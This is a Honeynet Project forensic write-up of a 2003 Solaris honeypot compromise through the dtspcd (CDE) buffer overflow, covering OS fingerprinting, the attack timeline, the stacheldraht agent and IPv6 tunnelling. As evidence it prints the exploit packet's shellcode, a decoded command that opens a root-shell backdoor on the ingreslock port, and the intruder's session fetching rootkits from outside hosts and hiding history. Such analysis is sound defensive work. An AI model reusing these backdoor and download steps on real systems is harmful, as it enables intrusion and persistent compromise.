Honeynet Project
Scan of the Month (SCAN 28), May 2003

Author:

Mariusz Burdach
M_Burdach[at]compfort[dot]pl

Table of contents:

0x01 Preparation

- A Red Hat Linux 7.3 (with kernel 2.4.18-3) host was installed on my VMWare station
- Numerous open source programs were used during the analysis, including the following:
  - libpcap - packet capture library
  - tcpdump - a tool to dump or analyse network traffic
  - snort - Intrusion Detection System (also very useful for analysis network traffic)
  - tpcflow - a program that captures data, which is transmitted as part of TCP connections, can also reconstruct data streams from raw (binary) log files and store each flow in a separate file
  - ettercap - a multipurpose sniffer/interceptor/logger. I used ettercap in order to determine the operating system of the honeypot
  - binutils – a package of useful binary tools
- Whois database and the google (www.google.com)

0x02 Download and Verification

To begin the analysis, I downloaded two compressed binary (in raw format) log files.

```
# wget http://project.honeynet.org/scans/scan28/day1.log.gz
# wget http://project.honeynet.org/scans/scan28/day3.log.gz
```

I verified that the signatures were matched the ones listed at the download page.

```
# md5sum *
79e5871791542c8f38dd9cee2b2bc317  day1.log.gz
af8ab95f41530fe3561b506b422ed636  day3.log.gz
#
```

The next step was to uncompress and to determine types of files (it's just a formality).

```
# gzip -d day1.log.gz day3.log.gz
# file *
log1.log: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture
lenght 1514)
log3-.log: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture
lenght 1514)
#
```

0x03 How to start

If the archives and the binary log files are verified correctly, then I am ready to start analyzing, otherwise there is a possibility that the archives or logs have been tampered with.

Filtering the caputered traffic will allow us to better analyze network packages to and from the honeypot (IP address: 192.168.100.28). The result will be dumped in ASCII clear text format to *output* file.

We are starting analysing the first log file (day1.log).

```
# tcpdump -X -r day1.log host 192.168.100.28 > output
```

The first timestamp in *output* log file is: **08:26:09** (of day 1)

The *output* file contains a huge amount of DNS queries, so we will also filter DNS communications.

```
# tcpdump -X -r day1.log host 192.168.100.28 and not port 53 > output_nodns
# less output_nodns
```

At 14:12 the first probe was launched from the system 24.167.44.129. Till 17:36 a lot of packages with SYN flag set were sending to closed ports of the honeypot. What’s happened later???

0x04 Answers and explanations

1. What is the operating system of the honeypot? How did you determine that?

Answer: Sun Solaris 5.8 (SPARC platform).

To determine type of the operating system we can use at least two methods.

Method A: Passive fingerprinting

The passive fingerprinting technique is based on the principle that every operating system's IP stack has its own implementation. By analyzing the first stage of communication between two hosts we are able to identify the operating system. There are a number of TCP/IP fields that we will look at to determine the operating system.

I described below some of them:

- IP TTL - This is the Time-to-Live field in the IP header. Different operating system has different default TTL values they set on outbound packets.
- TCP Window Size - (WS) Different operating system have different default size.
- TCP Maximum segment size - (MSS) This option is used at the time a connection is established (only) to indicate the maximum size TCP segment that can be accepted on that connection.

Other important field in analysis: IP DF field, TCP sackOK, TCP NOP, TCP Windows scalling and package size of packages with SYN flag set or SYN-ACK flags set. To better understanding passive fingerprinting I recommend "Know Your Enemy: Passive Fingerprinting" article: http://project.honeynet.org/papers/finger/

I used the fingerprint database from ettercap tool (*etter.passive.os.fp*) to match signature of the honeypot. I tried to use the other popular databases (from p0f and siphon tools), but they did not have enough OS fingerprints inside.

I had to find TCP packages with SYN flag set or SYN-ACK flags, which were sent from the honeypot.

```
#  snort -dv -r day1.log 'tcp[tcpflags] = tcp-syn|tcp-ack' and src host
192.168.100.28 | less
```

The following package match my conditions:

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/29-17:36:25.353459 192.168.100.28:6112 -> 61.219.90.180:56399
TCP TTL:64 TOS:0x0 ID:51347 IpLen:20 DgmLen:64 DF
***A**S* Seq: 0xBA394A1E  Ack: 0x80392816  Win: 0x6028  TcpLen: 44
TCP Options (9) => NOP NOP TS: 113867381 48509919 NOP WS: 0 NOP
NOP SackOK MSS: 1460

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

I selected the following fields:

Field	Value or flag state
Windows Size	0x6028 (in hex)
TTL	64 (40 in hex)
Size	64 (40 in hex)
Flag DF	Set
Flag NOP	Set
WS	0
Flag SackOK	Set
MSS	1460 (05B4 in hex)

Comparing this values with *etter.passive.os.fp* database I found one record:

```
6028:05B4:40:00:1:1:1:1:A:40:Solaris 7 / 8
```

So, the answer for the first question is: The honeypot operating system is Sun Solaris 7 or 8. Let's try to identify operating system more accurately.

Method B: Observation of activity

The second method of identify of the operating system was to find the result of *uname -a* command in log file. The command was executed by intruder at: 17:36:37 (source file: *day1.log*). Of course, in this case we know that the intruder executed *uname -a* command.

The result was:

```
SunOS 5.8 Generic_108528-09 sun4u sparc SUNW, Ultra-5_10
```

Below you will find the whole captured package with the result:

```
-----------------------------------------------------------------------------------------------
17:36:38.102597 192.168.100.28.ingreslock > 61-219-90-180.HINET-
IP.hinet.net.5671
2: P 3:167(164) ack 209 win 24616 <nop,nop,timestamp 113868657
48511194> (DF)
0x0000   4500 00d8 c8a3 4000 4006 28d8 c0a8 641c        E.....@.@.(...d.
0x0010   3ddb 5ab4 05f4 dd88 ba6d 43c4 805b ecfe        =.Z......mC..[..
0x0020   8018 6028 cf9c 0000 0101 080a 06c9 7f71        ..`(..........q
0x0030   02e4 38da 5375 6e4f 5320 7a6f 6265 7269        ..8.SunOS.zoberi
0x0040   7573 2035 2e38 2047 656e 6572 6963 5f31        us.5.8.Generic_1
0x0050   3038 3532 382d 3039 2073 756e 3475 2073        08528-09.sun4u.s
0x0060   7061 7263 2053 554e 572c 556c 7472 612d        parc.SUNW,Ultra-
0x0070   355f 3130 0a2f 636f 7265 3a20 4e6f 2073       5_10./core:.No.s
0x0080   7563 6820 6669 6c65 206f 7220 6469 7265        uch.file.or.dire
0x0090   6374 6f72 790a 2f76 6172 2f64 742f 746d       ctory./var/dt/tm
0x00a0   702f 4454 5350 4344 2e6c 6f67 3a20 4e6f        p/DTSPCD.log:.No
0x00b0   2073 7563 6820 6669 6c65 206f 7220 6469        .such.file.or.di
```

```
0x00c0   7265 6374 6f72 790a 4244 2050 4944 2873        rectory.BD.PID(s
0x00d0   293a 2031 3737 330a                           ):.1773.


-----------------------------------------------------------------------------------------------------
```

How to gain the other interesting information about operating system of the honeypot?

All binaries downloaded by the intruder had been complied at Sparc platform. Also remotely exploitable buffer overflow vulnerability in a library function hint only **UNIX** and **Linux** operating systems where the CDE Subprocess Control Service can be run. This conclusion is also an answer for the second question.

2. How did the attacker(s) break into the system? (see day1)

Answer: The attacker broke into the system by using buffer overflow vulnerability in shared library that is used by CDE Subprocess Control Service (6112/TCP – dtspcd network daemon).

At 17:36:25 the intruder from the host 61.219.90.180 sent the first package with SYN flag set to open 6112/TCP port of the honeypot. In the same time the intruder sent also package with SYN flag set to port 1524/TCP (ingreslock service), probably to find out if the honeypot has been already compromised. But the response from the honeypot was package with RST flag set (the ingreslock service was stopped or never started what can indicate that this server was NOT compromised).

So, at 17:36:26 the intruder sent the following package:

(intruder -> 61.219.90.180, honeypot -> 192.168.100.28)

```
17:36:26.503382 intruder.56711 > honeypot.6112: . 1:1449(1448) ack 1 win
5840 <n
op,nop,timestamp 48510034 113867474> (DF)
0x0000   4500 05dc efbd 4000 2c06 10ba 3ddb 5ab4        E.....@.,...=.Z.
0x0010   c0a8 641c dd87 17e0 7fc1 db88 ba41 eb06        ..d..........A..
0x0020   8010 16d0 615f 0000 0101 080a 02e4 3452        ....a_........4R
0x0030   06c9 7ad2 3030 3030 3030 3032 3034 3130        ..z.000000020410
0x0040   3365 3030 3033 2020 3420 0000 0031 3000        3e0003..4....10.
0x0050   801c 4011 801c 4011 1080 0101 801c 4011        ..@...@.......@.
0x0060   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0070   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0080   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0090   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00a0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00b0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00c0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00d0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00e0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
```

```
0x00f0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0100   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0110   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0120   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0130   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0140   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
[the same content]
0x04e0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x04f0   20bf ffff 20bf ffff 7fff ffff 9003 e034        ...............4
0x0500   9223 e020 a202 200c a402 2010 c02a 2008        .#..........*..
0x0510   c02a 200e d023 ffe0 e223 ffe4 e423 ffe8        .*...#...#...#..
0x0520   c023 ffec 8210 200b 91d0 2008 2f62 696e        .#........./bin
0x0530   2f6b 7368 2020 2020 2d63 2020 6563 686f        /ksh....-c..echo
0x0540   2022 696e 6772 6573 6c6f 636b 2073 7472        ."ingreslock.str
0x0550   6561 6d20 7463 7020 6e6f 7761 6974 2072        eam.tcp.nowait.r
0x0560   6f6f 7420 2f62 696e 2f73 6820 7368 202d        oot./bin/sh.sh.-
0x0570   6922 3e2f 746d 702f 783b 2f75 7372 2f73        i">/tmp/x;/usr/s
0x0580   6269 6e2f 696e 6574 6420 2d73 202f 746d        bin/inetd.-s./tm
0x0590   702f 783b 736c 6565 7020 3130 3b2f 6269        p/x;sleep.10;/bi
0x05a0   6e2f 726d 202d 6620 2f74 6d70 2f78 2041        n/rm.-f./tmp/x.A
0x05b0   4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
0x05c0   4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
0x05d0   4141 4141 4141 4141 4141 4141                  AAAAAAAAAAAA
```

We can see a huge package with some exploit shell code that was sent to our honeypot. In the same time the intruder was creating the second connection to 1524 TCP port (ingreslock service) of the honeypot.

The intruder has just gained unauthorized access to the honeypot.

The following commands can be found in shell code:

```
/bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i" >/tmp/x;
/usr/sbin/inetd -s /tmp/x;
sleep 10;
/bin/rm -f /tmp/x
```

The intruder uses the Korn shell to create a file called /tmp/x with a one line entry of an inetd configuration file. Then he attempts to start inetd using created file. After restarting inetd, the intruder was waiting 10 seconds and simply removed the /tmp/x file.

More information about this vulnerability

First, I performed a Google search on "6112 exploit" phrase. I found CERT Advisory CA-2002-01 Exploitation of Vulnerability in CDE Subprocess Control

Service. The document contains detailed information about dtspcd vulnerability (CA-2001-31).
Related links:
http://www.cert.org/advisories/CA-2002-01.html and
http://www.cert.org/advisories/CA-2001-31.html.

Also scan20 challenge on http://project.honeynet.org contains several analysis of this vulnerability.

3. Which systems were used in this attack, and how? (see day1)

I used tcpflow network tool to determine which systems were used in this attack. The tcpflow tool can reconstruct data stream and segregate each flow in a separate file.

```
# tcpflow -r day1.log
```

The file *061.219.090.180.56712-192.168.100.028.01524* contains reconstructed communication between the intruder (IP address: 061.219.090.180) and the honeypot (IP address: 192.168.100.028). The 01524 is a destination port number (ingreslock service) used by intruder to connect to compromised host.

The file contains all commands executed by the intruder in this session:

```
uname -a;ls -l /core
/var/dt/tmp/DTSPCD.log;PATH=/usr/local/bin:/usr/bin:/bin:/u
sr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH;echo "BD PID(s): "`ps -
fed|g
rep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
wget
w
/bin/sh -i
unset HISTFILE
unset DISPLAY
mkdir /usr/share/man/man1/.old
cd /usr/share/man/man1/.old
ftp 62.211.66.16 21
bobzz
joka
get wget
get dlp
get solbnc
get iupv6sun
get ipv6sun
quit
ls
chmod +x solbnc wget dlp
```

```
./wget
./wget http://62.211.66.53/bobzz/sol.tar.gz
rrrrrretar -xf sol.tar.gz
cd sol
./setup
cd sol
tar -xf sol.tar.gz
cd sol
./setup
mixer
5001
7000
./startbnc
cd ..
./solbnc
./dlp
```

Very interesting point of view (from the hacker perspective) can be also found in file *192.168.100.28.01524-061.219.211.090.180.56712* generated by tcpflow tool.

The captured commands are **the answer** for the third question. So, the following systems were used by the intruder:

1. Host with IP address **61.219.90.180**. This host was used by the intruder to gain unauthorized access to the honeypot. Also from this address the intruder was executing several commands: to download and to install rootkits, irc bouncer in version 2.2.1 (irc bouncers are used to hide real IP address irc clients), DDoS agent, to delete old log files, to create new one and to enable ipv6 protocol on compromised machine.

2. FTP server with IP address **62.211.66.16**. The intruder downloaded 4 files (wget, solbnc, dls, ipv6sun) from this host.

3. WWW server with IP address **62.211.66.53**. The intruder downloaded trojan horse program and compiled rootkits from this host.

4. FTP server with name **sunsolve.sun.com**. The intruder downloaded two additional patches (111085-02.zip and 108949-04.zip) from this server.

5. IRC server with name **irc-1.stealth.net**. The honeypot was connected with this irc server.

6. Two hosts with IP addresses: **217.116.38.10** and **61.134.3.11**. After having run of solbnc tool by the intruder, the honeypot was communicating with these two hosts through ICMP protocol (ECHO REPLY). More information about this communication is in next answer.

More information about hosts listed above I obtained from whois database:

1. 61.219.90.180

```
inetnum:      61.219.90.128 - 61.219.90.191
netname:      SU-YI-CHUN-NET
descr:        Su, Yi Chun
descr:        No.37-24, Yu Ying Rd.
descr:        Changhua County Taiwan
country:      TW
admin-c:      YCS65-TW
tech-c:       YCS65-TW
mnt-by:       MAINT-TW-TWNIC
remarks:      This information has been partially mirrored by APNIC
from
remarks:      TWNIC. To obtain more specific information, please use
the
remarks:      TWNIC whois server at whois.twnic.net.
changed:      network-adm@hinet.net 20020731
status:       ASSIGNED NON-PORTABLE
source:       TWNIC
person:       XXXXXXXXXXXXXXXXXXX
address:      Su, Yi Chun
address:      No.37-24, Yu Ying Rd.
address:      Changhua County Taiwan
country:      TW
phone:        +886-9-23-289293
fax-no:
e-mail:       mis@taiwang.org
nic-hdl:      YCS65-TW
remarks:      This information has been partially mirrored by APNIC
from
remarks:      TWNIC. To obtain more specific information, please use
the
remarks:      TWNIC whois server at whois.twnic.net.
changed:      hostmaster@twnic.net 20020731
source:       TWNIC
```

2 and 3. 62.211.66.16 and 62.211.66.53

```
inetnum:      62.211.64.0 - 62.211.79.255
netname:      TIN
descr:        Telecom Italia NET
descr:        PROVIDER
descr:        NOC Roma (AS 20580)
country:      IT
admin-c:      TAS10-RIPE
tech-c:       TAS10-RIPE
status:       ASSIGNED PA
remarks:      Please send abuse notification to abuse@tin.it
notify:       nettin@tin.it
mnt-by:       TIN-MNT
changed:      cgiadmin@cgi.interbusiness.it 19991111
changed:      nettin@tin.it 20010626
source:       RIPE
```

4. Create a diagram that demonstrates the sequences involved in the attack. (see day1)

TimeLine	Activities
17:36:25	First package with SYN flag set is sending by the intruder (61.219.90.180) to 6112 TCP port.
17:36:26	The exploit is used by the intruder.
17:36:37	The intruder is connecting to 5124 TCP port (ingreslock service) and is running a series of commands (the script was used to automate jobs) uname -a;ls -l /core /var/dt/tmp/DTSPCD.log;PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH;echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
17:42:15	The intruder is initiating connection to ftp server (62.211.66.16) and downloading four objects (two binary files and two scripts) - wget - dlp (script to clean logs) - solbnc (DDoS agent) - ipv6sun (script to enable ipv6 protocol)
17:45:28	The intruder is using wget tool to download from 62.211.66.53 compressed binaries (rootkits and irc bouncer)
17:53:18	The intruder is starting to install some downloaded tools, setting TCP port for SSH protocol (5001), setting up password for rootkit tools and patching system.
17:53:52	The intruder is downloading and installing additional patches from sunsolve host.
17:59:49	The intruder is configuring irc bouncer tool.
17:59:52	The intruder is running solbnc tool (the DDoS agent tool). In the same time the honeypot is sending first ICMP package to DDoS master host.
18:04:08	The first connection to the honeypot to 7000 TCP port (irc bouncer).

5.What is the purpose/reason of the ICMP packets with 'skillz' in them? (see day1)

Answer: The reason of sending packets with “skillz” is informing the other host (the master) about stage of the honeypot (the agent). The ICMP package (ECHO REPLY) with “skillz” word means that the honeypot is ready to do some kinds of job (flooding or scanning other hosts - in *day3.log* file we can see some SYN scans from the honeypot to hosts like 192.114.144.52 or 205.177.13.231).

The agent tool (solbnc) was run by the intruder a few minutes after gaining unauthorized access to the honeypot.
At 17:59:52, after running solbnc the honeypot suddenly started to send ICMP echo reply to two hosts: 217.116.38.10 and 61.134.3.11 (the master hosts). Our honeypot was sending ICMP echo reply every 10-11 second to these two

hosts. The palyload contained the "skillz" word. Only during first day the honeypot sent 1902 echo replies packages to these two hosts.

```
# tcpdump -r day1.log -n src net 192.168.100 and 'icmp[icmptype] ==icmp-echoreply' -tt |awk '{print $2}' |sort | uniq -c |sort -rn | more

1902 192.168.100.28
```

Analysing of two log files can let us see that the master host can also sent some messages to the agent (the honeypot).

It is interesting that only 61.134.3.11 host sent ICMP echo reply to the honeypot (757 times second day)

```
# tcpdump -r day3.log -n dst net 192.168.100 and 'icmp[icmptype] ==icmp-echoreply' -tt |awk '{print $2}' |sort | uniq -c |sort -rn | more

  757 61.134.3.11
```

The behavior of the honeypot is similar to the behavior of the distributed denial of service attack tool - “stacheldraht”. The full analysis of this tool can be found here: http://staff.washington.edu/dittrich/misc/stacheldraht.analysis.txt

Also analysis of *the solbnc* binary tool confirms that *the solbnc* is “stacheldraht” agent.

All downloaded binaries can be received by tcpflow tool. The second downloaded binary file *solbnc* is represented as file 062.211.066.016.00020-192.168.100.028.32786 (I compared size of this file).

```
# tcpflow –r day1.log
# cp 062.211.066.016.00020-192.168.100.028.32786 solbnc
# strings solbnc | less

…
Could not resolve %s fucknut
ICMP
jess
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
lpsched
in.telne
```

```
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW
XYZ8")
qWNi
…
```

The same fingerprint of agent tool can be found in document of an analysis of "stacheldraht".

6. Following the attack, the attacker(s) enabled a unique protocol that one would not expect to find on a n IPv4 network. Can you identify that protocol and why it was used? (see day3)

Answer: The attacker enabled IPv6 protocol at compromised Sun Solaris system. It was done by running *ipv6sun* script dowloaded from ftp server.

I put below *ipv6sun* script:

```
#!/bin/sh
unset HISTFILE
clear
echo "Inserisci il tuo ipv4"; read ipv4tuo; echo "..Okz"
echo "Inserisci l'ipv4 del TunnelBroker"; read ipv4server; echo "..Okz"
echo "tsrc ipv4tuo tdst ipv4server up" > /etc/hostname6.ip.tun0
echo ""
echo "Inserisci il tuo IPV6"; read ipv6tuo; echo "..Okz"
echo "Inserisci l'IPV6 dell'IRCServer"; read ipv6server; echo "..Okz"
echo "addif ipv6tuo ipv6server up" >> /etc/hostname6.ip.tun0
echo ""
echo "TermiNateD =)"
echo "maphia-Groups r0x again"
```

The newer version of irc bouncer (psybnc 2.3.1) supports protocol IP in version 6. So, probably enabling of this protocol was to communicate through irc (Internet Relay Chat) channels using IPv6 protocol. Another reason to enable IPv6 was to provide communication between IPv6 islands (the hacker hosts, irc servers) through IPv4 infrastructure.
Third day the intruder downloaded the new version of psybnc tool from the same www server (IP:62.211.66.55).
Unfortunately, we can't see the steps of installation of new irc bouncer version, because the intruder used the SSH protocol started at 5001 TCP port.

At 01:07:40 (day3.log) the intruder rebooted the honeypot, probably to complete the configuration of IP v6 on compromised machine.

At 01:08:44 the honeypot host sent the following SYSLOG massage to syslog server:

```
01:08:44.243471 192.168.100.28.42145 > 192.168.100.158.syslog: udp 66
(DF)
0x0000   4500 005e 754f 4000 ff11 a592 c0a8 641c        E..^uO@.......d.
0x0010   c0a8 649e a4a1 0202 004a c562 3c33 343e        ..d......J.b<34>
```

```
0x0020   4465 6320 2031 2031 373a 3131 3a31 3020       Dec..1.17:11:10.
0x0030   7265 626f 6f74 3a20 5b49 4420 3636 3233       reboot:.[ID.6623
0x0040   3435 2061 7574 682e 6372 6974 5d20 7265       45.auth.crit].re
0x0050   626f 6f74 6564 2062 7920 726f 6f74            booted.by.root
```

A few minutes later first IPv6 connection was established.

The IPv6 address of the honeypot is 2001:750:2:0:202:a5ff:fef0:aac7.

7. Can you identify the nationality of the attacker? (see day3)

Answer: The attacker probably comes from Italy. Following his nick name **"bobz"** we can see a lot of communication through irc cannals. He was typing mostly in Intalian. Also most of identyfied hosts are located in Italy. Tools, installed in our honeypot and downloaded scripts, are also written or rewritten in Italian language.

Analyzing of *day3.log* file we can see connections established through IPv6 protocol. The source address is 163.162.170.173. The another ISP is from Italy.

```
inetnum:       163.162.0.0 - 163.162.255.255
netname:       TILAB-NET
descr:         Telecom Italia Lab
country:       IT
admin-c:       SG73-RIPE
tech-c:        SG73-RIPE
rev-srv:       dns1.tilab.com
rev-srv:       dns2.tilab.com
status:        ASSIGNED PI
remarks:       Multiple LANs of the Research Center on
Telecommunications,
remarks:       Informatic and Electronic of the Telecom Italia group.
mnt-by:        RIPE-NCC-NONE-MNT
changed:       Sergio.Galliano@cselt.it 19981027
changed:       ripe-dbm@ripe.net 19990706
changed:       Sergio.Galliano@TILAB.COM 20011120
changed:       Sergio.Galliano@TILAB.COM 20021205
source:        RIPE
route:         163.162.0.0/16
descr:         CSELT S.p.A. is a Research Center for the study,
research,
descr:         experimentation and qualification for
telecommunications
descr:         and information technology.
origin:        AS5609
remarks:       InterBusiness will serve any kind of costumer at
different level
mnt-by:        INTERB-MNT
changed:       cgiadmin@cgi.interbusiness.it 19970224
source:        RIPE
person:        xxxxxxxxxxxxxxx
address:       Telecom Italia Lab
address:       Via Reiss Romoli, 274
address:       Torino
address:       10148 - ITALY
phone:         +39 011 2285364
```

```
fax-no:        +39 011 2287185
e-mail:        Sergio.Galliano@tilab.com
nic-hdl:       SG73-RIPE
changed:       domain@cgi.interbusiness.it 20000426
changed:       hostmaster@nic.it 20000505
source:        RIPE
```

At 1 a.m. the connection was established from ip address 62.101.108.86 to port 5001 of the honeypot. SSH protocol was used to communicate between hosts. The source is also from Italy.

```
inetnum:       62.101.108.0 - 62.101.108.127
netname:       FASTWEB-POP-0107-IPPD
descr:         NAT IP addresses for
descr:         Static time-based allocation to Residential customer
country:       IT
admin-c:       IRS2-RIPE
tech-c:        IRS2-RIPE
status:        ASSIGNED PA
mnt-by:        FASTWEB-MNT
changed:       IP.RegistrationService@fastweb.it 20020828
remarks:       In case of improper use originating from our network,
remarks:       please mail customer or abuse@fastweb.it
remarks:       INFRA-AW
source:        RIPE
route:         62.101.96.0/19
descr:         Fastweb Networks block
origin:        AS12874
mnt-by:        FASTWEB-MNT
changed:       IP.RegistrationService@fastweb.it 20020404
remarks:       In case of improper use originating from our network,
remarks:       please mail customer or abuse@fastweb.it
source:        RIPE
person:        xxxxxxxxxxxxxxxxxx
address:       Via Caracciolo, 51
address:       20155 Milano MI
address:       Italy
phone:         +39 02 45451
fax-no:        +39 02 45451
e-mail:        IP.RegistrationService@fastweb.it
nic-hdl:       IRS2-RIPE
notify:        IP.RegistrationService@fastweb.it
changed:       IP.RegistrationService@fastweb.it 20011218
source:        RIPE
```

In second log the UDP communication between the honeypot and 195.130.233.20 was captured. The palyload “ficken” points at “stacheldraht” tool. The destination host (195.130.233.20) is also located in Italy.

```
inetnum:       195.130.224.0 - 195.130.238.255
netname:       TISCALINET
descr:         Tiscali SpA
descr:         PROVIDER
country:       IT
admin-c:       FP1849-RIPE
admin-c:       RC524-RIPE
tech-c:        TI335-RIPE
rev-srv:       ns.tiscalinet.it
rev-srv:       sns.tiscali.it
```

```
status:        ASSIGNED PA
mnt-by:        AS8612-MNT
changed:       pau@it.tiscali.com 20011220
changed:       pau@it.tiscali.com 20011220
source:        RIPE
```

Bonus questions:

8. What are the implications of using the unusual IP protocol to the Intrusion Detection industry?

Implementing and running of IP protocol in version 6 can restrict detecting some attacks by network intrusion detection systems. IPv6 will not eliminate network intrusion detection systems from the security market which are one of the layer of host protection.

As we know, in IP v6 protocol we can use two options that provide security services.

The first option, an extension header that is called the IPv6 Authentication Header (AH), provides authentication and integrity, without confidentiality, to IPv6 datagrams. Using only this option network intrusion detection systems can still use some of build-in mechanism, like comparing packages with database of signature of attacks.

The second option, an extension header that is called the IP v6 Encapsulating Security Payload (ESP), provides integrity and confidentiality to IP v6 datagrams. In this scenario there are almost nothing to do for network IDS (I thing about signature based systems). Of course, we can still use some kinds of anomaly detection (like network anomaly detection used by SPADE and maybe protocol anomaly detection used by commercial systems).

Malicious activities like port scanning or denial of services through IPv6 should also be detected by NIDS.

9. What tools exist that can decode this protocol?

New version of Tcpdump and Ethereal can decode IPv6 protocol. The tcpdump tool has (-E) option which allow us to decode ESP packages, but of course we have to know the secret key shared by both sides of communication. Also Snort can decode IPv6 communication and IPv6 communication tunneled over IPv4 protocol.

The version of snort with IPv6 support can be downloaded from:
http://www.tahi.org/~tanaka/snort/snort+ipv6-20011201.tgz

0x05 References

1. Passive Fingerprinting articles:
   - http://project.honeynet.org/papers/finger/
   - http://www.securityfocus.com/infocus/1224

  - http://www.sans.org/resources/idfaq/fingerp_telnet.php
2. Original IRC RFC, http://www.faqs.org/rfcs/rfc1459.html
3. http://staff.washington.edu/dittrich/misc/stacheldraht.analysis.txt
4. Snort with IPv6 support http://www.tahi.org/~tanaka/snort/snort+ipv6-20011201.tgz
5. http://www.cert.org/advisories/CA-2002-01.html
6. http://www.cert.org/advisories/CA-2001-31.html
7. IPv6 Administration Guide from Sun Microsystems
8. http://www.circlemud.org/~jelson/software/tcpflow/
9. http://ettercap.sourceforge.net
10. http://www.ethereal.com
11. http://www.gnu.org/software/binutils/
12. http://project.honeypot.org